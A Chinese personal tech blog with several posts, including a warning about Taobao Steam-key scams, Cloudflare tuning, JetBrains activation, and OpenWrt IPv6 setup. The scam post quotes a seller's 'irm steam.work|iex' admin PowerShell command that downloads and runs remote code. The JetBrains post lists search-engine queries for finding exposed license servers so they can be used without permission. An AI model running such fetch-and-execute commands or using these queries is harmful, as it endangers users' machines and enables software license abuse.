踩坑之Steam游戏
今天在淘宝上搜了一下星露谷,然后发现价格在几块钱到20多不等。 第一次是下单了一个12.88的,然后他给我发了一串这个 1 2 3 4 5 6 7 8 9 10 11 12 13 14 客官您好! 订单xxxxxxxxxxxxx给您上菜啦: 卡号:xxxxx-xxxxx-xxxxx-xxxxx 步骤1:Win+Q搜索powershell然后右键管理员运行 步骤2:输入irm steam.work|iex 然后按回车,等待自动跳转 步骤3:随后在steam左下角添加游戏里输入激活码,激活完成即可 卡号就是激活码 激活图文教程 https://kdocs.cn/l/cp2r4FbVU5wA 亲亲请按照流程操作 有问题长时间未回复请在人工在的时候联系哦 客服上班时间为早上8:00-晚上1:00 偶尔熬夜加班哈 收藏好坪送修改器和加速器还有13款游戏噢 满意再来光临哈! 没有发现什么不对的,开始以为irm steam.work|iex是帮助打开输入卡号的界面的,心想着还挺贴心,想了一下还是不用了,我自己去输入吧。 结果: 发现不对劲,准备去找商家问问什么情况,在等回复的过程中,搜了一下我要执行的代码,结果搜到了一个这个https://m.bilibili.com/opus/912188403001327621。 我这才意识到不对劲,于是和商家说不敢用,让他赶紧退款。收到这么一句。 24h审核肯定有什么猫腻啊,我让他立马给我退了,然后他还坚持说是24h统一处理。那我当然不乐意了,24h过去了发生什么谁还说得好,于是说了一通,估计商家被我说烦了,让我赶紧申请,里面给我退了。 退完款,这byd还威胁我说退款一次,第二次不会自动发货,还会回收我的游戏。 于是换了一家,这家买的16.99,套路是发个好友链接,对方送礼物,不放心去知乎搜了一下,说是只要是国区的就没什么问题,如果是俄区的话可能会收到红信。看了一下其他店的价格也是国区要稍微贵一点。 所以说,发现执行的命令哪有问题了吗? steam.work是商家的域名,我一直以为是steam什么内部命令,真逆天。 后面调查了一下,那种特别低价的4、5块钱的基本上是通过上面这种方式 / 激活工具激活的,但是4、5块那些商家用的域名很随意,一眼出问题,就是经典小姨子域名xxx.123456.xyz什么的,而且也愿意发教程。用上面那种方式的,一般一个游戏会有好几个版本,什么标准版、终极版。 14、15块的基本上是全球区,就是买完发一个账号,不是到你库上,或者俄区。 17、18块到以上的基本上就是国区礼物,比较稳了。
CloudFlare + CDN访问优化
上一篇提到:如果不介意使用三级域名,套上一个CDN,HTTP回源或许是最好的方式。 今天来写写教程,注意:优化效果在校园网是体验不出来的,流量才行。 CloudFlare Tunnel 优化简述 CloudFlare Tunnel 工作流程大致为,我们的小主机通过cloudflare提供的特定ip的7844端口连接到cloudflare tunnel,用户就可以通过域名进行访问了。 从图中可以看出,主要优化有两方面,一个是小主机到cloudflare的优化,另一个是用户到cloudflare的优化。现在主要说优化2。 为什么优化可以实现? 对于校园网来说,cloudflare的流量最终都会前往香港节点,所以影响不是很大,而对于非校园网的情况来说,几乎解析出来的IP最后都是到美国的,通过让小主机走香港代理和让用户走香港CDN,都是为了使我们的流量到香港,最终实现低延迟的效果。 为什么使用三级域名? 域名必须在CloudFlare上才能使用Tunnel服务。 CloudFlare会7天检查一次NS记录,第一次检查会显示已移动,没有影响,第二次检查会直接删除域名。 CloudFlare没有在国内的DNS服务器,DNS解析速度非常感人。所以需要NS二级域名到其他国内DNS,太多了每个都得解析一遍不太现实。 实现方式 以DNSPOD和CloudFlare配合为例,步骤如下: 解析一个二级域名NS记录到DNSPOD 我这里使用的是n,如果要修改,下面代码也需要修改。 添加一个worker,内容如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function handleRequest(request) { let url = new URL(request.url); if (url.protocol == 'wss:') { url.protocol = 'ws:' } url.protocol = 'https:' // 删除二级 url.host = url.host.replace('.n.', '.'); return fetch(new Request(url, request)); } addEventListener("fetch", (event) = >{ event....
关于cloudflare
对cft提速方式: worker反代+优选ip ns指向其他dns服务商(需要14天进行一次ns认证)+ 优选ip cdn加速cloudflare 子域名ns指向其他服务商 + 优选IP / CDN worker反代的弊端在于 不是所有的ip都有worker的能力,会出现prohibited ip的情况,能利用的ip极少,而且移动和联通会有部分anycast ip能到香港(电信是全部到美国的),这部分ip没办法利用。(这部分ip偶尔会出现能ping通但是不能访问,可能是运营商屏蔽了443端口) cloudflare dns在国内的解析速度是非常感人的,平均大概在800ms左右,而dnspod在100ms左右。 优势就在于不用折腾。 ns去其他dns服务商+优选ip,这相当于将cloudflare当纯cdn用,效果是很好的。缺点在于现在不能cname接入了,每隔7天会被检测到然后域名状态变为move,再过7天没有重新校验会直接删除。所以得14天修改一次ns记录供检测。 用cdn反向代理cloudflare,这依赖于cdn的质量和商家会不会提桶跑路,并且大部分cdn系统不支持写复杂逻辑修改host回源,站点一多管理是比较麻烦的。并且就算可以写复杂逻辑,那也需要两个域名。如果只有一个域名,参考方法二也可以回源,属于是复杂程度最高的一种方法。 子域名ns去其他服务商是我想到比较好的方法了,可以避免cloudflare dns慢和14天认证一次的问题。如果优选IP,还能避免部分ip用不了的问题。【要用的域名少的话,子域名NS去其他服务商再@解析优选IP应该是最好的方式】 缺点就在于cloudflare只提供通配符二级域名的证书,并且不能自己上传证书(要收费)。三级域名使用https就会直接开寄。要使用https就不能使用优选IP的方式。 如果不介意使用三级域名,套上一个CDN,HTTP回源或许是最好的方式。(三级域名可以获取cloudflare自签证书,用于和cloudflare通信,可用于HTTPS回源)
JetBrain激活
JetBrain激活有以下几种方式: 正版激活:学生可免费享用,但是之前申请续期,不知道为什么JetBrain一直没给我过申请。 Activation Code:也就是网上经常能看见的ja-netfilter插件进行激活,简单看了一下原理,阻止连接到jetbrain的服务,然后利用hook进行激活,所以没有网也行,但是不知道为什么我的一直激活不了。。。这个方法也很吃下载的版本 License Server:也就是JetBrains激活服务器进行激活,可以理解为一个激活的池子,有人用就占用池子里面的一个账号,一般是企业用的,但是有的公司 / 学校没有做好防火墙,导致被开放到公网然后被扫到,接着就被大家利用了。 能看到很多服务失效,一个原因是公司 / 学校发现了,关闭了服务,然后其他有的是代理了这些公司的服务,跟着就一起失效了。 当然,这也有限制,首先一个是必须得联网,没联网,没关IDE最多可以用两天,重启IDE直接下线。 官方说法: 早期还看到有自建的Lincense Server的项目,后面那指定是被ban了,能查找最新的消息是2018年,6年前了。 每次要用的时候注册一个账号,一个账号可以试用一个月 针对方法3,只能利用搜索工具来搜索一些网上的服务了。 贴一个经常看到的搜索教程 FOFA: 1 header="https://account.jetbrains.com/fls-auth" Shodan 1 Location: https://account.jetbrains.com/fls-auth Censys 1 services.http.response.headers.location: account.jetbrains.com/fls-auth 这还有一个收集网站: JetBrains-License-Server | 技术加油站 (justsoso.fun)
宿舍电费监控
就是简单Mark一下,最近电费感觉略微有点异常,于是写了各监控看看电量情况。 对于电费啥水平,看两天我再回来写写。 电量获取 你OUC电量有这么个网页:http://10.128.13.25/expensesManager/feeManager/searchPower.jsp 上面的电量更新比较及时,比海大e卡通上面的及时。 通过抓包,可以发现接口http://10.128.13.25/feemanager/findSurplusElectricByMeterSearchPower.action 进行POST请求,再携带上我们的电费id即可,这里写了一段代码用来获取,由于有时候获取会失败,加了5次重试。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requests def get_df(code): url = "http://10.128.13.25/feemanager/findSurplusElectricByMeterSearchPower.action" i = 0 while i < 5: response = requests.request( "POST", url, data={"equipmentInfoId": "10.150.132.63#" + code} ).json() i += 1 print(response) if response.get('equipmentList'): break equipmentList = response['equipmentList'] return { # 充值电量 'surplus': float(equipmentList['roomSurplusBuyElecNum']), # 赠送电量 'give': float(equipmentList['roomSurplusGiveElecNum']), # 总电量 'total': float(equipmentList['roomSurplusBuyElecNum']) + float(equipmentList['roomSurplusGiveElecNum']), # 按当前电压 'voltage': equipmentList['line1Voltage'], # 当前电流 'electricity': equipmentList['line1Electricity'], } 记录数据到数据库 光获取还不行,那肯定得把数据写入数据库吧,选择MyQql数据库,于是找了一个简单的ORM框架peewee,u1s1还确实挺好用的。...
旁路由IPV6设置(校园网NAT6)
看不良林ipv6配置视频有感,可以算是笔记。 主路由NAT6 第一步,添加ULA前缀 第二步,添加NAT6防火墙规则 需要考虑两种情况,一种是iptables另一种是nftables。基于nftables的最新的openwrt系统可以在防火墙设置中找到,具体是什么命令我也没有仔细研究。 基于iptables的openwrt在防火墙中可能没有可以直接开启NAT6的选项,需要自己手动添加一下防火墙规则。 iptables需要添加的防火墙规则如下: 1 ip6tables -t nat -A POSTROUTING -o (wan接口) -j MASQUERADE 第三步,设置LAN口,为路由器LAN口分配一个内网ipv6地址,并开启ipv6 RA服务。 注意,这个地方为路由器LAN口分配,而不是为局域网设备分配!!! 第三步,打开RA服务(路由通告服务)。 注意,需要勾选总是通告默认路由,因为LAN口没有获得公网ipv6,如果不勾选会不给下面设备设置ipv6网关,从而无法正常通过ipv6上网。 如果没有进一步的IPv6 RA设置,可以在/etc/config/dhcp文件中进行设置。 具体说明可以查看:https://openwrt.org/docs/guide-user/base-system/dhcp#dhcp_pools 这样基本上可以算是大功告成了。 IPv6的工作模式 IPv6中共有这么几种地址,本地链路地址、临时地址、受到抨击的地址(Deprecated、弃用的地址)。 本地链路地址:也就是fe80::和设备mac地址的eui-64格式的组合,用于邻居发现协议和无状态自动配置进程中链路本地上节点之间的通信。 临时地址:用于访问ipv6网站时使用的地址,但随时会变化,防止被反向追踪。与之对应的是其上面的IPv6地址,是不变的,用于对外提供服务。(无状态默认是通过eui64进行配置) 受到抨击的地址:perferred lifetime已经过了,但是valid lifetime还没有过,简单理解就是还可以用但是不会在用了。过了valid lifetime系统就会将地址删除了。 DHCPv6 的问题 对于ipv6的分配模式共有两种:有状态(DHCPv6)和无状态 (SLAAC)。对于有状态来说,就和ipv4的DHCP模式一样,而无状态相当于给你一个前缀,你自己分配。 对于Windows来说,即使配置的是无状态模式,Windows也会通过DHCPv6向路由器索要一个有状态的IPv6地址,Linux则没有这种问题。此外,Android到目前为止还不支持DHCPv6。 所以不准备启动DHCPv6,我没有这个需求。 IPv6的RA标记 A、M、O A标记(auto address-configuration):即SLAAC,启用后,客户端将执行无状态 IPv6 地址自动配置。 M标记(management):开启后,表示可以通过DHCPv6获取IPv6地址,也就是有状态分配。 O标记(other):开启后,表示可以通过DHCPv6获取其他信息,如:DNS服务器、NTP服务器等。 IPv4地址的dns服务器也是可以解析出IPv6地址地址的,因为解析出IPv4地址相当于向DNS服务器发起了请求解析A类型,IPv6发起了解析AAAA类型,跟用什么DNS服务器无关。如果不需要使用IPv6 DNS服务器,需要在OPENWrt中关闭下面两个选项。 如果开启,会在RA数据包中携带RDNSS选项,通知IPv6服务器。 另外两个标记具体是否生效,也可以根据下面的方法查看收到的RA包 A标记在Option的Prefix information中 M、O标记 旁路由配置IPv6 第一步,需要关闭主路由的RA。如果需要将旁路由设置为IPv6的默认网关,就需要将主路由的RA服务关闭了,因为IPv6会默认将发送RA数据报的路由器作为网关。 第二步,为旁路由添加ipv6接口。 在网络→接口中添加一个接口,协议选择DHCPv6,设备选择br-lan的别名,可以输入@lan。 添加接口后,点击编辑,设置IPv6网关和IPv6路由前缀(IPv6-PD)。前缀可以和主路由的ULA前缀相同。 修改lan口,IPv6分配长度选择64,这是为旁路由的lan口分配ipv6,不分配旁路由可能无法上网。 第三步,lan口配置DHCP服务器,将RA服务打开。 开启SLAAC和关闭其他标记。 第四步,为旁路由添加默认IPv6路由。 在网络→路由中,添加静态IPv6路由。 接口选择lan,目标输入::/0,网关输入主路由的IPv6地址,如下。 在高级设置中,选择表为main表,并勾选On-Link路由。 补充 IPv6 RA包抓取 如果需要测试,到底是哪个系统响应的RA包,可以在WireShark中过滤出icmpv6....
MacMini安装WIndows (非启动转换助理)
为什么有mac mini还用Windows? 虽然macos很好看,但是还是不太符合我的使用习惯,到最后还是放弃了,并且这个mac mini是放在工位临时用的,并不是主力电脑,大多数时候都是用来远程宿舍电脑的。 为什么写这篇文章? 在想装macos和Windows双系统的时候,使用启动转换助理安装了十几次,但都以失败告终,遇到的问题包括但不限于:无法启动到下一个阶段的准备、到拷贝文件至Windows直接黑屏。 最后放弃使用启动转换助理,想要找到能不能像Windows一样使用PE安装Windows的办法,找了好久才找到几篇,而且非常不完整。 于是想着记录一下,如果以后有人需要的话,可以参考参考。 以下教程使用同款软件截图 / 网上截图,非实操的截图,不像再倒回去重弄一遍了。 准备操作 需要准备一个8g+的U盘。 我这使用的是优启通的PE(网上说有的可能启动不了,但是看到有人说优启通的可以用就直接用了,不过感觉应该是能用的)。然后制作PE镜像即可。 在macos中打开启动助理,下载Windows支持文件(实际上就是bootcamp,也可以直接查对照表然后下载响应版本) 下载一个Windows镜像,我下载的是msdn的win 10 1909版本的镜像。 将前面两步下载的文件拷贝到U盘中。 硬盘分区 在开机的时候长按Option键(Alt),进入启动选择项目,选择U盘 进入PE系统后,使用DiskGenius进行硬盘分区。一定要创建GPT分区,否则无法索引启动。 之后再将后面的块建立新分区,并分别对两个块指派一个驱动号,让PE系统能读到就行。 刷入系统 使用WinNTSetup刷入系统即可。 刷入成功后不要着急重启,如果这是重启,会遇到inaccessible_boot_device问题。 解决inaccessible_boot_device问题 根本没有找到贝壳PE给的教程 解决办法就是使用Dism++将前面下载的BootCamp中的驱动刷入即可。(不要选成PE系统了,要选新装的那个系统) 点击添加驱动之后,选择BootCamp的目录下的$WinPEDriver$目录即可。 然后关机,长按Option键,选择Windows系统进入,就可以看到熟悉的海内存知己了。 参考 https://itcat.cn/post-788.html https://zhuanlan.zhihu.com/p/25193525
前后端分离
为什么要前后端分离? 前后端不分离example:(PHP) 不分开会有什么问题? 在传统的 Web 开发模式中,前端页面使用 JSP,而 JSP 代码的开发往往不是完全由后端程序猿来完成的。通常开发流程:前端程序猿完成 HTML 代码 → 交给后端程序猿转为 JSP 再进行开发。 后端如果遇到页面问题,就需要找前端来解决,但是此时前端看到的代码已经不是他之前写的 HTML 了,是混合了一大堆标签的 JSP 代码,而前端又不懂 JSP,场面就非常尴尬。 后端:你写的页面有问题啊,不显示数据。 前端:不可能,我这边都是好的。 后端:你自己来看啊。 前端:你写的这是什么玩意?我给你的代码不是这样的。 后端:我得把你的代码加到 JSP 里啊。 前端:我又不懂 JSP 啊,你再把代码摘出来吧,我帮你看看问题。 后端:…… 这样就导致开发效率极低,后端需要等待前端的 HTML 代码完成之后,再整合成 JSP,而且出错率较高,遇到 Bug 解决起来也很麻烦,需要双方协同处理,这就给开发带来了很大的问题。 怎么解决? 前后端程序猿只需要提前约定好接口文档(参数、数据类型),然后并行开发即可,最后完成前后端集成,遇到问题同步修改即可,真正实现前后端应用的解耦合。 说直白点,前后端分离就是把原来的一个应用,拆分成两个应用: 一个纯前端应用,专门负责数据展示和用户交互。 一个纯后端应用,专门负责提供数据处理接口。 前端 HTML 页面通过 Ajax 调用后端接口进行数据交互。 交互数据的格式 主流的交互数据格式:JSON、XML等。 XML由于其可读性差、占用空间大等因素,基本上不在网络传输中使用,但在UI数据的描述,XML 的数据会比 JSON 更符合人类对 UI 布局的描述,所以在UI界面任然使用XML。 为什么要使用APIFox? Apifox=PostMan+Swagge+Mock+Jmeter 多系统数据不互通 API设计者、前端开发、后端开发、测试人员大量重复工作。 效率低 可视化程度低、操作不友好。 无法团队协作 单机离线使用为主,成员之间无法实时同步数据,无法协作。 学习成本高 初学者难以入手,需要大量的学习成本、培训成本。 数据一致性困难 每次变更,都需要不同角色手动去多套系统修改,维护一致性非常困难。时间久了,不一致性越来越严重,最终不可维护。 为什么要部署? 不能让每个人电脑上都跑一个后端项目吧,前端还得先配个后端环境?...